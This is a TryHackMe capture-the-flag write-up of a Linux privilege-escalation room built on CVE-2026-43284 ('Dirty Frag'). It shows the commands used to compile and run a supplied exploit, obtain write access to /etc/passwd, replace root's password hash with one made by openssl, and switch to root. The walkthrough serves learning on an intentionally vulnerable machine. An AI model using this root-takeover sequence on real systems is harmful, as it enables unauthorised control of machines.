TryHackMe — CVE-2026-43284: Dirty Frag

Room: CVE-2026-43284: Dirty Frag Category: Linux Privilege Escalation Author: (My Page)

Overview

Dirty Frag is a chained Linux local privilege escalation (LPE) room built around CVE-2026-43284. The goal is to go from an unprivileged shell to root by exploiting a provided proof-of-concept exploit.

Initial Enumeration

Listing the working directory reveals the files provided for the exploit:

$ ls
README.txt
exp
exp.c

• exp.c — the exploit source code
• exp — a precompiled binary (may not match the target environment)
• README.txt — usage notes provided with the exploit

Building the Exploit

Since the provided exp binary may not be compatible with the target's exact environment, it's safer to rebuild it from source:

$ gcc -O0 -Wall -o exp exp.c -lutil

• -O0 disables compiler optimizations, keeping behavior predictable and matching the source
• -Wall enables compiler warnings, useful for sanity-checking the build
• -lutil links libutil — commonly required when code uses pseudo-terminal (pty) functions

Triggering the Vulnerability

$ ./exp

Running the compiled exploit triggers the underlying flaw, resulting in write access to a file that should normally be read-only to unprivileged users — in this case, /etc/passwd.

Escalating to Root

With write access gained, a new password hash for root is generated:

$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..

This hash is written into /etc/passwd in place of root's existing hash field:

$ nano /etc/passwd

With root's password now known, switching users is straightforward:

$ su root

Capturing the Flag

$ cat /root/flag.txt
THM{REDACTED}

Lessons Learned

• (This originally took 30+ minutes for general understanding, but once I understood I could repeetively repeat the same exploit multiple times)
• (The inner root code is strange, you cant select and use the base controls so instead you use the arrow keys to navigate to root❌ and change X to the hash you created)

Mitigations

• Keep kernel/system packages patched and up to date

This writeup documents a completed TryHackMe room for educational purposes. The target environment is an intentionally vulnerable machine provided by TryHackMe.